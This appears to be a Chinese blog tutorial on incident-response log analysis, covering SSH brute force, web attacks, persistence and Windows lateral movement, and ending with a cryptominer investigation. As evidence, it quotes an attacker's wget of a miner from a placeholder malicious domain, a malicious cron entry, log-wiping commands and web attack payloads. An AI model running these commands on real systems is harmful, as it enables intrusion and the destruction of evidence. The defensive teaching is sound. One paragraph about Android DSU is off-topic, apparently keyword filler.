拓十年匠心定制 · 商业建站与技术教学双线并行 咨询热线:400-886-1026 service@lmnt.cn
ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

日志分析实战:从SSH爆破到挖矿木马的完整排查指南

日志分析实战:从SSH爆破到挖矿木马的完整排查指南

1. 日志分析不是考古,是拼图:先建立攻击者的时间线

干了这么多年安全运维,我最深的一个感受是:网络攻击必然留下痕迹,而日志分析就是去读这些痕迹。无论是服务器被人爆破、Web站点被注入、还是内网被人横向移动,攻击者能删掉自己上传的文件,能清理自己的历史命令,却很难把所有日志都擦干净。原因很简单,日志在系统里是持续产生的,而且往往不止一处:认证日志、应用日志、网络会话、内核审计、防火墙会话,任何一条链路上的缺失都会让攻击者留下断点,而断点正是我们揪出完整链条的起点。

很多人一看日志就头大,几万行几十万行密密麻麻的时间戳,不知道从哪开始。其实日志分析和刑警看监控一个道理:先定时间、定位置、定人物,再把碎片按顺序拼起来。你不需要第一眼就看出"这是谁干的",你需要的是先有一个框架:攻击者在什么时间进来、从哪里进来、做了什么、留下了什么。有了这条时间线,后面每一步排查都只是往时间线上填证据。

这篇文章适合三类人看:刚入门安全/运维、需要自己动手查服务器的同学;被安排了应急响应任务但不知道日志怎么下手的同行;以及纯粹好奇"日志到底怎么暴露攻击者"的人。我会把常见的攻击类型和对应日志特征拆开讲,再用一个完整的挖矿木马排查案例从头到尾过一遍,最后把我在实战里踩过的坑整理成速查目录。内容不绕弯子,能直接照着操作。

动手之前先明确一个概念:日志分析要处理的不是"告警",而是"原始数据"。SIEM、态势感知平台给你的告警是别人帮你筛过一遍的推测,最终要落地到原始日志上才算实锤。所以我把命令和原理都写清楚,平台只是辅助,自己会看日志才是硬功夫。

1.1 日志分析到底在看什么

一份完整的攻击链证据,通常散落在四类地方:

  • 认证日志:谁登录过、什么时候登录的、成功还是失败、从哪个IP来。Linux 下是/var/log/auth.log或/var/log/secure,Windows 下是安全事件日志。
  • 应用与访问日志:Web 服务器记录每一次 HTTP 请求,包括 URL、User-Agent、状态码。Nginx 是access.log、Apache 是access_log,这些是发现 Web 攻击最直接的来源。
  • 系统与进程日志:cron 任务执行记录、bash 历史、进程创建记录。攻击者想持久化,通常会写计划任务或者启动脚本,这里必有动静。
  • 网络会话日志:防火墙、路由器、流量审计设备的会话记录。这块常被忽视,但在溯源外连地址、定位横向移动时非常关键。

我的习惯是:接到任务先问一句"日志在哪",然后把上面四类按优先级列出来。大多数中小企业没有完整的日志采集体系,能看的就是服务器本地那几份文件,那就先从认证日志和访问日志入手,这两类覆盖了最常见的攻击场景。

1.2 动手前先回答四个问题

很多新手拿到日志就急着 grep,结果越查越乱。我建议先花五分钟回答四个问题,方向对了再动手:

  1. 时间窗口:异常是什么时候被发现的?往前推多久作为排查区间?我通常往前推 72 小时,如果有线索再继续扩。
  2. 影响对象:是 Web 服务器、数据库还是办公终端?不同的资产对应的日志源完全不同。
  3. 日志来源:嫌疑主机上有哪些日志可用?是否有集中采集?如果没有集中采集,日志被清除的风险会高很多。
  4. 已知线索:现有的告警或用户反馈说明了什么?哪怕是一条模糊的"机器很卡"也是一个起点。

这些问题看起来简单,但能避免你被海量日志淹没。比如告警说"某 IP 对 Web 服务器做了 SQL 注入尝试",那你的第一站就应该是 Nginx access log,而不是去翻 SSH 登录记录。方向错了,再厉害的 grep 也没用。

另一个常被忽略的基础问题是时区。服务器可能设置成了 UTC,而你的告警平台显示的是北京时间,差 8 个小时会让时间线完全错位。处理方式是把所有日志统一转换成同一时区再分析,或者至少在记录证据时标注清楚"原文时间"和"转换后时间"。这一步我在后面专门讲,因为实战里翻车的概率极高。

1.3 环境与工具准备

日志分析不依赖什么昂贵工具,一套趁手的命令行就够起步。Linux 端我常用的组合是:

  • grep:按关键字过滤,比如搜Failed password、搜某个可疑 IP。
  • awk:按字段提取,比如把日志里的 IP 列提取出来做统计。
  • sort和uniq:排序、去重、计数,用来做频率分析。
  • last和lastb:查看成功和失败的登录记录。
  • journalctl:查看 systemd 管理的日志。
  • ausearch:查询 auditd 审计日志。

Windows 端则用事件查看器配合wevtutil命令行,有条件的再装个 Sysmon,能记录进程创建和网络连接,对排查恶意软件很有帮助。

如果日志量很大或者需要长期留存,建议上一套集中采集。我个人用过 ELK 和 OpenSearch,搭建成本不高,检索效率远超在每台机器上手动 grep。但注意:平台只是索引,不是真相,告警规则写得不好就会漏报误报满天飞。所以我的建议是先用命令行把分析逻辑跑通,再考虑上平台。

想练习的朋友可以找一些攻防靶场来做验证,比如"玄机靶场 第一章 应急响应-Linux 日志分析"这类题目,它会给你打包好的日志和环境,让你在接近真实的条件下去查攻击痕迹。我第一次练这种靶场的时候,光是搞清楚secure日志里哪些字段对应 IP 和端口就花了一晚上,但练完之后再看真实日志,思路立刻清晰了。

2. 四类典型攻击的日志特征和识别方法

日志分析虽然看的是"事后记录",但不同的攻击类型在日志里的投影完全不一样。下面这四类是我在实战中遇到频率最高的,每一类对应一组日志特征和识别方法。掌握了这四类,日常应急响应能覆盖七八成的情况。

2.1 SSH 暴力破解:登录日志里的"高频失败"

SSH 暴力破解可能是最泛滥的互联网攻击,几乎每个暴露 22 端口的服务器每天都在挨打。它的日志特征非常明显:短时间内大量认证失败的记录,来源 IP 分散或集中在某个网段,尝试的用户名从 root 到各种常见账号。

这是/var/log/secure(CentOS/RHEL 系)里一段典型的爆破日志:

Jun 12 03:21:44 web01 sshd[25123]: Failed password for root from 103.88.34.23 port 54321 ssh2 Jun 12 03:21:47 web01 sshd[25127]: Failed password for root from 103.88.34.23 port 54322 ssh2 Jun 12 03:21:51 web01 sshd[25131]: Failed password for invalid user admin from 103.88.34.23 port 54330 ssh2

Debian/Ubuntu 对应的文件是/var/log/auth.log,格式几乎一样。要快速统计哪些 IP 在爆破,我习惯用这一串命令:

grep "Failed password" /var/log/secure | grep -oE "from [0-9]+\.[0-9]+\.[0-9]+\.[0-9]+" | awk '{print $2}' | sort | uniq -c | sort -nr | head -20

这条命令的思路是:先把失败记录过滤出来,再用正则提取 IP,然后统计每个 IP 出现的次数,按数量倒序排序。跑完你就能看到攻击源 Top 20。注意到我用grep -oE而不是直接awk '{print $(NF-3)}',原因是 secure 日志里字段位置会因为"invalid user"和"for root"而偏移,正则提取稳得多。从日志里我看到过很多次大流量爆破,比如一个 IP 一晚上尝试几千次连接,这种基本可以断定是自动化工具在跑字典。

更值得关注的是爆破之后的成功登录记录:

Jun 12 04:05:32 web01 sshd[25198]: Accepted password for root from 103.88.34.23 port 57821 ssh2

如果爆破日志和成功登录日志之间只隔了几分钟,那基本可以判定:攻击者撞库成功了。这时要看的是对方登录后做了什么,会涉及到后面讲的历史命令和进程审计。

一点经验:别被爆破日志的数量吓到,99% 的爆破是无脑脚本,打不进来就是噪音。真正要紧张的是"成功登录",以及"从陌生 IP 成功登录"。所以我在做监控告警时,规则从来不是"失败次数多就告警",而是**"失败后紧接着成功"才告警**,误报率能降一个数量级。

2.2 Web 攻击:访问日志里的"畸形请求"

Web 服务器的 access log 是另一块宝藏。攻击者想打你的站点,必然要先发 HTTP 请求,而每一个请求都会被记录,这就是最好的进攻痕迹。

Nginx 默认的访问日志格式长这样:

192.168.1.10 - - [12/Jun/2024:03:22:17 +0800] "GET /index.php?id=1%20and%201=1 HTTP/1.1" 200 1234 "-" "sqlmap/1.7"

识别 Web 攻击的关键是看 URL 和 User-Agent。常见的攻击特征包括:

  • SQL 注入:URL 里带%27(单引号)、and 1=1、union select、sleep()、information_schema,UA 可能是sqlmap/1.7这类工具标识。
  • 路径遍历:出现..%2f、..%252f这类双重编码,尝试读取/etc/passwd或 Windows 的web.config。
  • 目录扫描:短时间内对大量不存在的路径发起 GET,状态码以 404 为主,常见目标是/phpmyadmin/、/.git/、/backup/等敏感路径。
  • Webshell 上传/访问:请求xxx.php?cmd=whoami或直接访问shell.php,响应体里可能有eval、assert等敏感函数名。

批量分析 Web 日志,我常用的统计命令:

查看 Top 10 来源 IP:

awk '{print $1}' /var/log/nginx/access.log | sort | uniq -c | sort -nr | head -10

查看状态码分布,快速发现异常 404/500:

awk '{print $9}' /var/log/nginx/access.log | sort | uniq -c | sort -nr

查看访问最频繁的 URL 前 20 条:

awk '{print $7}' /var/log/nginx/access.log | sort | uniq -c | sort -nr | head -20

一个非常实用的排查思路是:先找出响应码是 200 但请求路径明显是敏感文件的记录。攻击者扫描和注入大多会碰壁,产生大量 404,反而容易淹没在噪音里。真正要命的是那些"碰了敏感路径还返回 200"的记录,那意味着目标可能被命中。

我之前排查过一个 WordPress 站点被篡改的案例:攻击者通过xmlrpc.php做密码爆破,成功后上传了恶意插件。整个链条在 access log 里很清楚——先是大量POST /xmlrpc.php请求,然后出现了一个诡异的POST /wp-content/plugins/xxxe/xx.php,最后主页被替换。如果你只看错误日志不看访问日志,这个链条根本拼不起来。

2.3 持久化后门:cron、bash history 和 auditd

攻击者拿到目标权限之后,第一件事通常是想办法下次还能进来,这就是持久化。最常见的手段包括:写计划任务、加 SSH 公钥、启动带后门服务、修改启动脚本。这类动作的日志痕迹分散,但每条都很有指向性。

Linux 下的计划任务日志在/var/log/cron,里面记录的是 cron 实际执行过的命令。如果看到这样的记录:

Jun 12 05:00:01 web01 CROND[31415]: (root) CMD (/tmp/.X11-unix/./update.sh >/dev/null 2>&1)

注意那个不正常的路径/tmp/.X11-unix/,正常的计划任务不会跑在临时目录里,这是非常典型的挖矿木马持久化方式。看到这种路径,基本可以往恶意软件方向上查了。

bash history是另一个关键证据。每个用户的~/.bash_history记录了交互式 shell 执行过的命令。攻击者一旦登录,留下了wget、curl、chmod、nohup之类命令,历史记录里就会暴露。但被经验丰富的攻击者拿到 shell 后,他们往往会执行history -c或者直接就不写历史(比如不开启交互模式),所以历史记录查不到不等于没事,只能作为线索来源之一。

真正靠谱的是内核审计auditd。如果你提前配置好了 auditd,它会把进程执行、文件访问、系统调用全部记录下来,攻击者很难抹掉。查看方式:

ausearch -m execve -ts recent

这条命令能列出最近通过 execve 执行的程序。进程痕迹我会在后面的实操案例里详细介绍,这里只要记住一个原则:持久化动作一定改变了系统状态,而状态改变一定留下了痕迹,区别只在于你能不能找到对应的日志源。

2.4 内网横向移动:Windows 事件日志里的"异常登录"

内网横向移动是攻击者从一台机器扩展到整个内网的手段,在 Windows 环境里特别典型。Windows 事件日志有一套固定的事件 ID,记住关键的几个,排查效率会高很多:

事件 ID含义关注点
4624登录成功账户、来源 IP、登录类型(3=网络、10=远程交互)
4625登录失败短时间内大量出现,说明有人在爆破
4672管理员权限登录特殊权限账户登录
4688创建进程结合命令行,发现异常进程
4720创建用户账户攻击者可能用新账户留后门
7045安装服务恶意软件常以服务方式持久化

横向移动通常表现为从一个内网 IP 到另一个内网 IP 的异常登录。比如你在安全日志里看到:平时只在白天办公时间登录的财务服务器,凌晨 3 点用行管账户 4624 登录成功,登录类型是 3(网络连接),来源 IP 是内网的一台文件服务器。这个模式就非常可疑,大概率是攻击者拿下了文件服务器,正在用收集到的凭据向财务服务器跳。

查看 Windows 安全日志可以用 PowerShell:

Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4624} | Select-Object -First 50

更推荐的是安装 Sysmon,它能补充事件 1(进程创建)和事件 3(网络连接),让内网的"谁执行了什么、连了哪里"一目了然。我这里说句实在话:Windows 环境下的日志分析门槛比 Linux 高,因为事件量大、字段多、还涉及域环境。但只要你先把 4624/4625/4688 这三个 ID 看熟,已经能应对绝大多数横向移动排查了。

3. 完整案例复盘:一台 Linux 服务器被植入挖矿程序的排查全过程

前面讲的是分类特征,这一节我用一个真实的排查场景把整个流程串起来。这个案例是典型的"外网弱口令被爆破 + 内网植入挖矿木马",涉及的日志类型和排查手法都是日常应急响应的基本功。

3.1 事件现象与初步判断

某天收到运维同事的消息:一台对外提供 Web 服务的 CentOS 7 服务器 CPU 使用率持续在 300% 以上,top 命令里看到一个叫bash的进程占满了 CPU,但通过 ps 查到的路径是/tmp/.X11-unix/./xxx,明显不是正常路径。同事还提到,这台服务器之前开放了 SSH 公网端口。

这个现象基本可以锁定方向:服务器被入侵后植入了挖矿程序。挖矿木马为了混淆视听,经常把自己的进程名伪装成bash、kworker、httpd之类的常见进程名,或者干脆把路径藏到临时目录里。确定了侦查方向,接下来就是按时间线找证据。

3.2 排查步骤与命令实录

第一步,我不慌着先去看那个可疑进程,而是先建立登录时间线。安全日志是最重要的:

last -20 lastb -20 | head -30

last看的是成功登录记录,如果中间出现了陌生 IP 在异常时间成功登录,那这就是入侵点。此时在/var/log/secure里搜这个 IP:

grep "103.88.34.23" /var/log/secure

果然,几分钟前还是一堆Failed password for root,紧接着出现了Accepted password for root。这说明攻击者先爆破,后登录成功。继续看这个 IP 在登录后做了什么,先翻 bash 历史:

tail -200 /root/.bash_history

历史记录被截断过,剩下的内容里有两条最显眼:

wget http://恶意域名:8080/xmrig chmod +x /tmp/.X11-unix/./xxx

到这里,入侵路径已经拼出了大半:攻击者用爆破得到的 root 口令登录,下载了挖矿程序到临时目录,然后执行。接下来把挖矿程序留下的持久化机制找干净。

检查计划任务:

cat /etc/crontab ls -la /etc/cron.d/ crontab -l

在/etc/cron.d/里发现了一个可疑文件,内容是:

*/5 * * * * root /tmp/.X11-unix/./xxx -c /tmp/.X11-unix/config.json >/dev/null 2>&1

每 5 分钟执行一次挖矿程序,这就是它能反复复活的原因。

检查 SSH 公钥后门:

cat /root/.ssh/authorized_keys

里面果然多了一把陌生公钥。攻击者把公钥写进来,相当于给自己留了一把永远能打开的门,即使 root 密码改了,他依然能通过密钥登录。这个一定要检查,很多人在清除挖矿木马后忽视公钥,导致服务器被反复入侵。

最后看进程和网络连接,把挖矿程序找出来:

ls -l /proc/PID/exe netstat -antp | grep 3333

/proc/PID/exe会指向进程的真实可执行文件。挖矿程序通常连接矿池端口,比如 3333、4444、5555、14444 都是常见的矿池端口。找到 PID 后先拍下进程信息,再决定清除策略。这里有个技巧:不要一上来就kill,攻击者往往设置了守护进程,你刚 kill 掉它又会被拉起来。正确做法是先把 cron 任务和启动脚本全部摘掉,再清进程。我见过太多人第一步就 kill,结果木马秒级复活,白忙一场。

3.3 用 AI 工具辅助日志解读的实操经验

很多朋友问我"有什么 AI 工具能精准分析日志"。我的回答是:目前市面上没有哪款 AI 能完全替代人工分析,但用对大模型,它确实能把分析效率提上一个台阶。我自己的用法是把日志片段和上下文信息喂给大模型,让它帮我归纳可疑模式、生成排查建议,而不是让它替我下结论。

举个例子,我会把一段日志整理成这样喂给 AI:

以下是一台 Linux 服务器的认证日志片段,请帮我识别可能的攻击行为,提取攻击者的来源 IP、攻击时间、使用的手法,并给出下一步排查建议。日志如下: Jun 12 03:21:44 web01 sshd[25123]: Failed password for root from 103.88.34.23 port 54321 ssh2 Jun 12 03:21:47 web01 sshd[25127]: Failed password for root from 103.88.34.23 port 54322 ssh2 Jun 12 04:05:32 web01 sshd[25198]: Accepted password for root from 103.88.34.23 port 57821 ssh2

大模型能很快给出"疑似 SSH 暴力破解后成功登录、建议检查后续命令历史和后门文件"这类判断,方向基本是对的。它还能帮你写正则、写 awk 统计命令,这些都是实打实的效率提升。

但有三条红线必须守:

  1. 不能用 AI 的结论直接出报告。大模型有幻觉,会脑补出日志里不存在的细节,关键结论必须回到原始日志验证。
  2. 不要一次性喂太多日志。上下文窗口有限,日志量大时先 grep 缩小范围,只把可疑片段交给 AI。
  3. 敏感信息先脱敏。日志里可能有密码哈希、内网 IP、业务数据,对外部 AI 工具要谨慎,最好用私有化部署的模型或先做脱敏处理。

我试用过几款主流大模型,各有千秋,但总体的经验是:让 AI 做"助手"而不是"侦探"。它会帮你指出"这里可疑、那里值得查",但"这个人到底是不是攻击者、攻击路径是什么"这种判断,还是得靠你对业务和日志的理解。

3.4 溯源结论与系统加固

把所有的证据串起来,这次事件的完整时间线是:

时间事件
03:21-03:37攻击者对 SSH 发起字典爆破,来源 IP 103.88.34.23
04:05爆破命中,使用 root 弱口令成功登录
04:06下载挖矿程序到 /tmp/.X11-unix/,写计划任务、写 SSH 公钥
05:00 起每 5 分钟执行一次挖矿程序,CPU 持续飙升

清除动作按顺序执行:停掉 cron 任务、删除可疑文件、移除陌生公钥、修改 root 密码、封禁来源 IP,最后重启服务并确认 CPU 恢复正常。

加固清单则包括:关闭不必要的公网 SSH 端口或改用密钥登录、设置口令复杂度策略、部署 fail2ban 类工具自动封禁爆破源、配置 auditd 做进程审计、日志集中采集防止被清理。还有一条容易被忽略:这台机器的弱口令已经泄漏在暴力破解流量里,如果别的服务器也用了同一个密码,必须全部修改。

4. 常见问题与排查技巧实录

做日志分析这些年,踩过的坑比看过的日志还多。下面这些问题几乎每次应急响应都会遇到,我把解决思路整理成速查目录,新手照着做能少走很多弯路。

4.1 攻击者清除日志了怎么办

经验丰富的攻击者会在拿到 root 权限后清理日志,常见的操作是:

echo > /var/log/secure rm -rf /var/log/wtmp history -c

日志被清了不代表没办法。我的处理顺序是:

  1. 检查是否所有日志都被清。攻击者往往只清理了secure和wtmp,但/var/log/cron、Nginx access log、应用日志可能还在。
  2. 尝试恢复被删除但未覆盖的文件。/var/log/wtmp这类二进制日志即使被删除,只要进程还持有文件句柄,就能从/proc里找到内容,utmpdump可以解析。我试过从已删除的 wtmp 里恢复出成功登录记录,关键是动作要快,别等磁盘被覆盖。
  3. 找外部证据。防火墙 NAT 会话、云平台的安全组流量记录、WAF 日志、DNS 解析记录,这些不在服务器本地,攻击者无权限删除。比如服务器主动外连矿池的流量,防火墙会话表里一定留痕。
  4. 查命令行历史残留。bash_history 被清了,但 VIM swap 文件、screen/tmux 会话残留都可能携带命令痕迹,值得翻一翻。

一句话:攻击者能删除的是他碰过的文件,碰不到的是你在外面留下的记录。所以日志集中采集不是锦上添花,而是应急响应的底线设施。

4.2 日志时间戳对不上

这是我最常提醒新人的坑。默认情况下,日志里的时间是你的服务器本地时间和时区,比如你的系统设置的是 UTC,而业务同事用的是北京时间,同一事件在两个视角下差了 8 小时。如果你同时分析多台服务器的日志,又没统一时区,时间线会被搅成一团浆糊。

我的建议是分析前先做两件事:

date timedatectl cat /etc/localtime

确认服务器当前时区。然后看日志时心里换算,或者在展开分析时把原始时间和 +0800 之后的本地时间同时列出来。用可视化工具时,注意把索引时区设为统一的 UTC,展示时再转成业务时区。

另外,journalctl默认显示本地时间,但有些老服务的日志还是 UTC。所以看到一个日志条目,不要默认它就是你所在时区的时间。这条提醒看着不起眼,却能在关键时刻救你一命——我就曾因为时区没换算,把攻击者的登录时间从"凌晨 3 点"看成"下午 3 点",差了半天结论完全不一样。

4.3 日志量太大、检索太慢

大日志文件是所有分析人的噩梦。几十个 G 的 access log,直接 grep 可能要跑十几分钟。我常用的缩小范围策略:

  1. 先按时间段切割。日志文件的命名和归档规则一般会按天或小时分割,先用文件名定位到事发时间附近,不要全文件检索。
  2. 先用高信号关键词过滤。比如Failed password、union select、/proc/self/environ这类,命中量很小但指向性极强。
  3. 分批处理。用grep -m 100先看前 100 条样本,摸清格式再写完整统计。不要上来就sort整个文件,内存容易爆。
  4. 善用 journalctl 的--since和--until:
journalctl --since "2024-06-12 03:00:00" --until "2024-06-12 05:00:00" -u sshd

这条命令能在 systemd 日志里精确拉取某段时间的 sshd 记录,比拉全量再 grep 高效太多。

如果日志量大到本地扛不住,就该考虑集中采集平台了。OpenSearch、ClickHouse 这类存日志的组件,配合索引和分片,查询性能能提升几个数量级。但还是要提醒一句:平台可以解决检索问题,解决不了"你不知道搜什么"的问题。搜索词还是要靠你对攻击模式的理解来定。

4.4 别把系统故障当成网络攻击

这是很多初入行的朋友容易犯的另一个方向的错误:一看到异常就往攻击上靠,结果查了半天发现是系统自身的故障。比如热词里提到的"安卓系统 dsu 开包无法进入系统",这属于动态系统更新的机制异常,一般由分区状态、A/B 槽位或签名校验失败引起,和网络攻击没有关系,日志里也不会出现攻击特征。处理这类问题该看的是系统更新日志和分区状态,而不是网络访问日志。

我的判断标准是:安全事件一定存在"攻击路径"。攻击者要么通过某个端口进来,要么通过某个应用漏洞进来,要么通过社工诱导,总之得有入口。如果你把认证日志、访问日志、网络会话都翻遍了,找不到任何异常入口,那这个"异常"大概率是故障或者误报。硬要把故障当攻击查,不仅浪费时间,还会掩盖真正的问题。

这条经验反过来也成立:很多攻击在早期被当成"系统不稳定"处理了。所以判断方向时,我通常两条腿走路——既查攻击痕迹,也查系统状态,交叉验证后再下结论。比如挖矿木马导致 CPU 高,表面看是性能问题,但配合网络连接和 cron 一眼就能看出是攻击;而 dsu 开包失败这类问题,系统日志里是干净的更新流程报错,没有外部连接痕迹,自然不归安全管。

5. 把日志分析的经验固化到日常管理里

一次应急响应解决不了根本问题。如果每次都靠事发后再翻日志,那永远是被动的。我建议把日志分析的功夫下在平时,建立一套能持续运转的体系。这套体系不需要多高级,关键在于"可持续"和"可复现"。

5.1 集中采集与留存周期

日志集中采集是应急响应最值得投入的一项基础建设。不管是自己搭 OpenSearch,还是用商业的日志平台,目标只有一个:让日志独立于服务器存在。这样即使攻击者把服务器上的日志删光,你依然保有一份完整的"案发录像"。

留存周期我建议按合规要求和成本平衡来定:安全相关日志至少留 180 天,业务日志保留 30-90 天。攻击者可能在事隔数月后才被某个捕获的样本关联出来,留存太短等于没有。

5.2 建立自己的检索模板和告警规则

每次做完一次应急响应,我都会把这次用过的命令、筛选关键词、判断逻辑整理成一个模板文档。比如"SSH 爆破排查"模板里就会包含:搜Failed password的 grep、提取 IP 的 awk、查看成功登录后动作的命令、检查公钥和 cron 的清单。下次遇到同类事件,照着模板走一遍,效率高很多。

告警规则也一样。最值得做的几类低误报告警:

  • 暴力破解后成功登录(失败次数突破阈值且短期内出现 Accepted);
  • Web 日志中出现 Webshell 特征(请求路径包含常见 shell 文件名或执行命令参数);
  • 服务器主动外连已知矿池端口(有威胁情报支持时效果更好);
  • 计划任务文件被非管理员修改。

这几类告警的共同点是"高置信、低误报",适合优先落地。

5.3 团队协作与报告模板

日志分析经常是一个团队协作的活。一份好的应急报告应该让不懂技术的人也能看懂事情的全貌。我这几年写报告的习惯是:

  • 第一页写结论:是否被入侵、入侵方式、影响范围、处理状态。
  • 第二部分画时间线:每个关键节点发生什么、依据哪条日志。
  • 第三部分贴证据:原始日志截图或引用,注明来源文件和时间戳。
  • 第四部分写加固建议:按紧急程度排序,标明负责人和期限。

报告不是给自己看的,是给业务方和管理层看的。把技术细节讲清楚,把业务影响讲明白,整个应急响应的价值才能落地。

6. 最后分享一点个人体会

日志分析这个行当,入门靠命令,精通靠思维。有人说日志分析是"找可疑 IP、查恶意文件",但我觉得更核心的是建立一个意识:任何网络攻击都是一条时间线上的逻辑链条,日志就是链条上的节点。你不需要记住所有命令,但你需要知道"下一步该去查什么"——查哪份日志、用什么角度、看什么特征。有了这个问题意识,命令是可以随时查的资料。

我自己的一个小习惯是:处理完每个案例后,把日志里的关键特征截图保存下来,按攻击类型分类归档。积累一两年之后,再遇到新事件,脑子里会自动浮现"这个特征我在某个案例里见过",排查速度会快很多。另外提醒一句,日志分析要有耐心,很多链条不是一次 grep 就能跑通的,我见过最长的溯源花了两周,中间反复换了好几个日志源,但最终把攻击者的操作几乎一小时一小时地还原了出来。那种确定性带来的成就感,比任何工具的自动化输出都扎实。

最后送上一句我自己常说的话:工具可以帮你发现异常,但只有你能决定异常意味着什么。日志在那里,故事也在那里,读它的人才是关键。

返回列表